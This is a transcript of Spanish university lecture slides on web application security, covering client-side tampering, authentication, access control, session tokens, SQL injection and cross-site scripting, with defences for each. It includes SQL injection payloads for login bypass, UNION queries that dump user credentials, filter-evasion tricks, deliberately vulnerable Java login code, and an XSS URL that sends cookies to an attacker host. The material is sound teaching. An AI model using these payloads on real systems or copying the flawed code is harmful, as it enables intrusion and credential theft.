Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

62
Edited with emacs + LAT E X+ prosper Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014/2015) Jes ´ us Arias Fisteus // [email protected] Seguridad en Aplicaciones Web– p. 1

Transcript of Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Page 1: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en Aplicaciones Web

Aplicaciones Web (Curso 2014/2015)

Jesus Arias Fisteus // [email protected]

Seguridad en Aplicaciones Web– p. 1

Page 2: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

«This site is absolutely secure. It has beendesigned to use 128-bit Secure Socket Layer(SSL) technology to prevent unauthorizedusers from viewing any of your information.You may use this site with peace of mind thatyour data is safe with us.»

Seguridad en Aplicaciones Web– p. 2

Page 3: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

A laptop battery contains roughly the stored energy of a hand

grenade, and if shorted it ... hey! You can’t arrest me if I prove

your rules inconsistent!

http://xkcd.com/651/

Seguridad en Aplicaciones Web– p. 3

Page 4: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Seguridad en aplicaciones Web

http://geekandpoke.typepad.com/geekandpoke/2011/

05/everybody-has-to-set-priorities.html

Seguridad en Aplicaciones Web– p. 4

Page 5: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores más peligrosos en programas

2011 CWE/SANS Top 25 Most Dangerous Software Errors

Seguridad en Aplicaciones Web– p. 5

Page 6: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

¡Los usuarios pueden enviar

datos arbritarios a la

aplicación!

Seguridad en Aplicaciones Web– p. 6

Page 7: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Envío de datos arbitrarios

Los usuarios pueden:

Alterar cualquier dato transferido al servidor:parámetros de la petición, cookies, cabecerasHTTP.

Enviar peticiones en secuencias arbitrarias,enviar parámetros en peticiones en que elservidor no lo espera, no enviarlos, enviarlosmás de una vez.

Usar herramientas distintas a un navegadorWeb para atacar más fácilmente la aplicación.

Seguridad en Aplicaciones Web– p. 7

Page 8: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Envío de datos manipulados

En la mayoría de los ataques se envían datosmanipulados para causar un efecto no deseado enla aplicación. Ejemplos:

Cambio del precio de un producto en un campooculto de un formulario.

Modificar el token de sesión.

Eliminar algunos parámetros que el servidorespera.

Alterar datos que van a ser procesados por unabase de datos.

Seguridad en Aplicaciones Web– p. 8

Page 9: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar controles en el cliente

Seguridad en Aplicaciones Web– p. 9

Page 10: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos recibidos del cliente

Datos enviados por el servidor a través del cliente.

Datos recogidos por el cliente.

Seguridad en Aplicaciones Web– p. 10

Page 11: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos enviados a través del cliente

Enviados típicamente mediante:

Campos ocultos en formularios.

Cookies HTTP.

Parámetros en URLs.

Cabeceras HTTP.

Son susceptibles de ser modificados por elusuario.

Incluso en ocasiones a pesar de ser opacos.

Seguridad en Aplicaciones Web– p. 11

Page 12: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

<form method=“post” action=“Shop.aspx?prod=1”>

Product: iPhone 5 <br/>

Price: 449 <br/>

Quantity: <input type=“text” name=“quantity”> (Maximum quantity is 50)

<br/>

<input type=“hidden” name=“price” value=“449”>

<input type=“submit” value=“Buy”>

</form>

Seguridad en Aplicaciones Web– p. 12

Page 13: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

HTTP/1.1 200 OK

Set-Cookie: DiscountAgreed=25

Content-Length: 1530

(...)

Seguridad en Aplicaciones Web– p. 13

Page 14: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Datos recogidos por el cliente

Recogidos típicamente mediante:

Formularios HTML.

Javascript, Applets Java, Silverlight, Flash, etc.

Son susceptibles de ser establecidosarbitrariamente por el usuario saltando lavalidación del lado del cliente (restricciones en elformulario, javascript, etc.)

Seguridad en Aplicaciones Web– p. 14

Page 15: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección frente a estos ataques

Para proteger la aplicación, es recomendable:

No enviar datos sensibles a través del cliente:Si no queda más remedio, cifrarlos ofirmarlos (cuidado con ataques por repeticióny ataques con texto claro).

Validar en el servidor todos los datosprocedentes del cliente.

Sistema de logs, monitorización y alertas.

Seguridad en Aplicaciones Web– p. 15

Page 16: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a los mecanismos de autenticación

Seguridad en Aplicaciones Web– p. 16

Page 17: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la autenticación

Errores en la autenticación:

Errores de diseño.

Errores de implementación.

Seguridad en Aplicaciones Web– p. 17

Page 18: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la autenticación

http://abstrusegoose.com/296

Seguridad en Aplicaciones Web– p. 18

Page 19: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de diseño (I)

Contraseñas débiles.

Posibilidad de ataques de fuerza bruta.

Mensajes de error detallados.

Transmisión vulnerable de credenciales.

Funcionalidad de cambio de contraseña.

Funcionalidad de “contraseña olvidada”.

Funcionalidad “recuérdame”.

Funcionalidad de impersonación de usuarios.

Seguridad en Aplicaciones Web– p. 19

Page 20: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de diseño (II)

Validación de credenciales incompleta.

Nombres de usuario no únicos.

Nombres de usuario predecibles.

Contraseñas iniciales predecibles.

Distribución insegura de credenciales.

Seguridad en Aplicaciones Web– p. 20

Page 21: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Errores de implementación

Errores en la lógica de la aplicación.

Defectos en mecanismos de autenticaciónmulti-paso.

Almacenamiento inseguro de credenciales.

Seguridad en Aplicaciones Web– p. 21

Page 22: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ejemplo

public Response checkLogin(Session session) {

try {

String uname = session.getParameter(“username”);

String passwd = session.getParameter(“password”);

User user = db.getUser(uname, passwd);

if (user == null) {

// invalid credentials

session.setMessage(“Login failed. ”);

return doLogin(session);

}

}

catch (Exception e) {}

// valid user

session.setMessage(“Login successful. ”);

return doMainMenu(session);

}

Seguridad en Aplicaciones Web– p. 22

Page 23: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección de los mecanismos de au-

tenticación

Usar credenciales robustas.

Manejar credenciales confidencialmente.

Validar credenciales apropiadamente.

Prevenir fuga de información.

Prevenir ataques de fuerza bruta.

Evitar uso fraudulento de la funcionalidad decambio de contraseña.

Evitar uso fraudulento de la funcionalidad derecordar contraseña.

Sistema de logs, monitorización y alertas.

Seguridad en Aplicaciones Web– p. 23

Page 24: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al control de acceso

Seguridad en Aplicaciones Web– p. 24

Page 25: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al control de acceso

El usuario accede a recursos o acciones para losque no está autorizado:

Escalada vertical de privilegios.

Escalada horizontal de privilegios.

Seguridad en Aplicaciones Web– p. 25

Page 26: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Vulnerabilidades en el control de acce-

so

Funcionalidad sin proteger en absoluto: porejemplo, suponiendo URLs desconocidas.

Funciones basadas en identificador de recursosupuestamente desconocido.

Funciones multi-etapa.

Acceso sin control a ficheros estáticos.

Control de acceso inseguro: basado en datosenviados por el cliente.

Ejemplo:http://www.test.com/?admin=true

Seguridad en Aplicaciones Web– p. 26

Page 27: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (I)

No basarse en el desconocimiento por el usuariode URLs o identificadores.

No pasar datos relativos al control de acceso através del usuario.

No asumir una secuencia concreta en laspeticiones.

Seguridad en Aplicaciones Web– p. 27

Page 28: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (II)

Buenas prácticas (I):

Documentar y evaluar el sistema de control deacceso.

Basar las decisiones en la sesión del usuario.

Usar un componente central para tomar lasdecisiones sobre el acceso a recursos.

Restringir funcionalidad delicada por rango deIPs.

Controlar el acceso a ficheros estáticos.

Validar identificadores de recurso siempre quevengan del cliente.

Seguridad en Aplicaciones Web– p. 28

Page 29: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del control de acceso (III)

Buenas prácticas (II):

Nueva autenticación en funcionalidad sensible.

Sistema de logs de acceso.

Seguridad en Aplicaciones Web– p. 29

Page 30: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la gestión de sesiones

Seguridad en Aplicaciones Web– p. 30

Page 31: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a la gestión de sesiones

La autenticación de usuarios se complementa conmecanismos de gestión de sesiones:

Token de sesión: identificador que envía elcliente en sus peticiones, con frecuencia enuna cookie, para que el servidor identifique aqué sesión pertenecen.

Dos grupos de vulnerabilidades principalmente:

Generación de tokens de sesión débiles.

Debilidades en el manejo de tokens de sesióndurante su ciclo de vida.

Seguridad en Aplicaciones Web– p. 31

Page 32: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Generación de tokens débiles

Tokens con significado deducible:

Nombre de usuario, id de usuario en la base dedatos, fecha, número secuencial o secuenciadeducible, dirección IP, dirección de correoelectrónico, etc.

757365723d6461663b6170703d61646d

696e3b646174653d30312f31322f3131

user=daf;app=admin;date=10/09/11

Seguridad en Aplicaciones Web– p. 32

Page 33: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Generación de tokens débiles

Tokens predecibles:

Incluyen información temporal, secuenciasfácilmente deducibles, secuenciaspseudoaleatorias.

Seguridad en Aplicaciones Web– p. 33

Page 34: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Debilidades en el manejo de tokens de

sesión (I)

Interceptación en la red del token:

Uso de HTTP en las comunicaciones.

Problemas en el uso de HTTPS:Uso sólo en el procedimiento deautenticación.Uso de token previo obtenido por HTTP.Peticiones por HTTP después de haberentrado en HTTPS: por ejemplo, ficherosestáticos por HTTP, botón atrás, etc.Inducción por el atacante a realizar unapetición HTTP (por correo electrónico, desdeotros sitios Web, etc.)

Seguridad en Aplicaciones Web– p. 34

Page 35: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Debilidades en el manejo de tokens de

sesión (II)

Exposición del token en logs o aplicaciones degestión.

Mapeo vulnerable de tokens a sesiones.

Terminación de sesión vulnerable: no hay funcióncierre de sesión o no se invalida el token en elservidor.

Secuestro de tokens o fijación de tokens mediantecross-site scripting, peticiones cross-site, etc.

Dominio de las cookies demasiado amplio.

Seguridad en Aplicaciones Web– p. 35

Page 36: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(I)

Generación de tokens robustos:

Gran número de posibles valores posibles.

No incluir más información que un identificador.

Buen generador de números pseudoaleatorios.

Introducir otros datos como fuente dealeatoriedad: IP y puerto cliente, cabeceraUser-Agent, fecha y hora con muchaprecisión, clave adicional sólo conocida por elservidor y refrescada en cada arranque.

Seguridad en Aplicaciones Web– p. 36

Page 37: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(II)

Protección de los tokens (I):

Trasmisión del token sólo por HTTPS (cookiessólo HTTPS).

Nunca transmitir tokens en la URL.

Cierre de sesión que invalide el token en elservidor.

Expiración de sesiones por inactividad.

Evitar sesiones simultáneas del mismo usuario.

Proteger aplicaciones de gestión que permitanver los tokens.

Seguridad en Aplicaciones Web– p. 37

Page 38: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Protección del mecanismo de sesiones

(III)

Protección de los tokens (II):

Restringir el dominio y ruta de las cookies.

Evitar vulnerabilidades cross-site scripting.

No aceptar tokens arbitrarios puestos por elusuario.

Iniciar una nueva sesión siempre tras laautenticación.

Tokens distintos para cada página.

Sistema de logs, monitorización y alertas.

Cierre de sesión ante cualquier tipo de error en laentrada del usuario.

Seguridad en Aplicaciones Web– p. 38

Page 39: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Seguridad en Aplicaciones Web– p. 39

Page 40: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques al almacenamiento de datos

Principales ataques:

Bases de datos SQL (inyección de SQL).

Bases de datos XML.

Directorios LDAP.

Seguridad en Aplicaciones Web– p. 40

Page 41: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de SQL

http://xkcd.com/327/

Seguridad en Aplicaciones Web– p. 41

Page 42: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

La comilla simple es un carácter especial en SQL.

La secuencia “--” (comentario) invalida el restodel comando.

nombre = "juan' -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre='juan' -- '' AND contrasena=''

Seguridad en Aplicaciones Web– p. 42

Page 43: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Esquivar la autenticación

Si no se conoce el nombre del usuario, se puedeobtener el primero.

En muchas aplicaciones el primer usuario es eladministrador, que cuenta con privilegiosespeciales.

nombre = "' OR 1=1 -- '"

String consulta = "SELECT nombre FROM Usuarios WHERE nombre='" + nombre

+ "' AND contrasena='" + password + "'";

// Consulta realizada:

SELECT nombre FROM Usuarios WHERE nombre='' OR 1=1 -- '' AND contrasena=''

Seguridad en Aplicaciones Web– p. 43

Page 44: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Tipos de consultas

Cualquier tipo de consulta es vulnerable (SELECT,INSERT, UPDATE, etc.)

Se puede inyectar tanto en datos textuales comoen datos numéricos.

Seguridad en Aplicaciones Web– p. 44

Page 45: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a consultas INSERT

En un campo se inyectan el resto de los valores:

contrasena = "passwd', 10000000) -- '"

String consulta = "INSERT INTO Usarios (nombre, contrasena, saldo) VALUES ('"

+ nombre + "', '" + contrasena + "', " + saldo + ")";

// Consulta realizada:

INSERT INTO Usarios (nombre, contrasena, saldo)

VALUES ('nombre', 'passwd', 10000000) -- '', 0)

Seguridad en Aplicaciones Web– p. 45

Page 46: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques con UNION

El comando UNION permite combinar resultadosde dos consultas.

genero = "1 UNION SELECT usuario, contrasena, NULL FROM Usuarios -- "

String consulta = "SELECT titulo, autor, precio FROM Libros

WHERE genero=" + genero;

// Consulta realizada:

SELECT titulo, autor, precio FROM Libros

WHERE genero=1 UNION SELECT usuario, contrasena, NULL FROM Usuarios --

Seguridad en Aplicaciones Web– p. 46

Page 47: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Nombres de tablas y columnas

Para realizar algunos tipos de ataques esnecesario conocer nombres de tablas y columnas.

A veces los nombres son predecibles.

En otras ocasiones, se pueden descubrir conconsultas inyectadas con UNION:

UNION SELECT TABLE_SCHEMA, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

UNION SELECT TABLE_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_SCHEMA='DemoSeguridad'

UNION SELECT COLUMN_NAME, NULL, NULL, NULL

FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_SCHEMA='DemoSeguridad' AND TABLE_NAME='Usuarios'

Seguridad en Aplicaciones Web– p. 47

Page 48: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Inyección de segundo orden

Aun filtrando correctamente comillas (sustituciónde comilla simple por doble), futuras consultas sonvulnerables si se insertan en la base de datosvalores con comilla simple.

Las comillas no son necesarias en camposnuméricos.

El comentario se reemplaza por “or 'a'='a”.

El bloqueo de palabras clave se puede esquivara veces:SeLeCt

SELSELECTECT

Si se filtran blancos, se puede insertarcomentarios “/* */”.

Seguridad en Aplicaciones Web– p. 48

Page 49: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Defensa frente a estos ataques

Usar PreparedStatement o equivalente:

En todas las consultas, no sólo en las quetoman datos directamente del usuario.

Usar el nivel de privilegios más bajo posible.

Deshabilitar funciones innecesarias de las basesde datos.

Mantener el gestor de bases de datos siempreactualizado.

Seguridad en Aplicaciones Web– p. 49

Page 50: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Otros ataques de inyección de código

Otros ataques similares por inyección de código:

Inyección en comandos del sistema operativo.

Inyección en lenguajes de scripting.

Inyección en JSON.

Inyección en XML.

Inyección en LDAP.

Inyección en correo electrónico.

Inyección en cabeceras de HTTP.

Seguridad en Aplicaciones Web– p. 50

Page 51: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Seguridad en Aplicaciones Web– p. 51

Page 52: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Ataques a usuarios

Existe un conjunto de técnicas cuyo objetivo esatacar a otros usuarios de una aplicación Web:

Cross-site scripting.

Inducción de acciones del usuario:On Site Request Forgery.Cross-Site Request Forgery.UI Redress

Captura de datos desde otros dominios.

Fijación de sesiones.

Redirección abierta.

Inyección de SQL en el cliente.

Ataques al navegador.

Seguridad en Aplicaciones Web– p. 52

Page 53: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Tres tipos principales de ataque:

Reflejado.

Almacenado.

Basado en DOM.

Seguridad en Aplicaciones Web– p. 53

Page 54: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Se produce cuando una aplicación muestradirectamente datos enviados como parámetros dela petición por el usuario.

Por ejemplo, páginas de error con mensajepasado como parámetro:http://example.com/Error?message=Sorry%2c+an+error+occurred

El cliente puede inyectar código Javascript que seejecutará en el navegador.http://example.com/Error?message=<script>var+i=new+Image;

+i.src=“http://mdattacker.net/”%2bdocument.cookie;</script>

Los enlaces se pueden disimular con codificaciónURL.

Seguridad en Aplicaciones Web– p. 54

Page 55: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Seguridad en Aplicaciones Web– p. 55

Page 56: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting reflejado

Envío del enlace malicioso al usuario:

Por correo electrónico.

En mensajería instantánea.

Desde un sitio Web de terceros o del atacante.

Mediante redes de publicidad.

Mediante acciones enviar a un amigo oinformar al administrador en el sitio Webatacado.

Seguridad en Aplicaciones Web– p. 56

Page 57: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

El atacante introduce texto en la base de datos delsitio Web que posteriormente se muestra a otrosusuarios.

El atacante puede inyectar código Javascript endicho texto, que se ejecutará en el navegador deotros usuarios del sistema, incluso deadministradores.

Más peligroso que el reflejado, porque el atacadoestá autenticado y no es necesario inducirlo aactivar ningún enlace.

Seguridad en Aplicaciones Web– p. 57

Page 58: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting almacenado

Seguridad en Aplicaciones Web– p. 58

Page 59: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting basado en DOM

El servidor no transmite los datos del usuario devuelta, pero en la página hay código Javascriptque los toma de la URL pedida y los muestra condocument.write().

Ataque similar en parte a cross-site scriptingreflejado.

Seguridad en Aplicaciones Web– p. 59

Page 60: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Cross-site scripting

Posibles acciones de ataque:

Pintadas virtuales (defacement).

Inyección de troyanos y phishing.

Inducción de acciones por el usuario.

Aprovechar privilegios: captura de texto de lafunción autocompletar, aplicaciones conrestricciones de seguridad reducidas, usofraudulento de controles ActiveX.

Escalado del ataque en el lado del cliente:captura de teclado, historial de navegación,escaneo de puertos en la red local del usuario,etc.

Seguridad en Aplicaciones Web– p. 60

Page 61: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Prevención de cross-site scripting

Validar la entrada del usuario:

Restricciones de longitud, conjunto decaracteres, expresiones regulares.

Validar la salida:

Reemplazo de caracteres reservados de HTMLpor referencias a entidades.

Eliminar puntos peligrosos de inserción (códigoJavascript, cabeceras de HTTP, atributos deelementos HTML).

Donde el usuario pueda editar HTML, limitar lasmarcas que pueda utilizar o utilizar lenguajesde marcas alternativos.

Seguridad en Aplicaciones Web– p. 61

Page 62: Seguridad en Aplicaciones Web Aplicaciones Web (Curso 2014 ...

Edited

with

em

acs

+LA

T EX

+pro

sper

Referencias

Dafydd Stuttard, Marcus Pinto. The WebApplication Hacker’s Handbook. 2nd ed. JohnWiley & Sons

Acceso en Safari

Capítulos 1, 5, 6, 7, 8, 9 y 12.

Seguridad en Aplicaciones Web– p. 62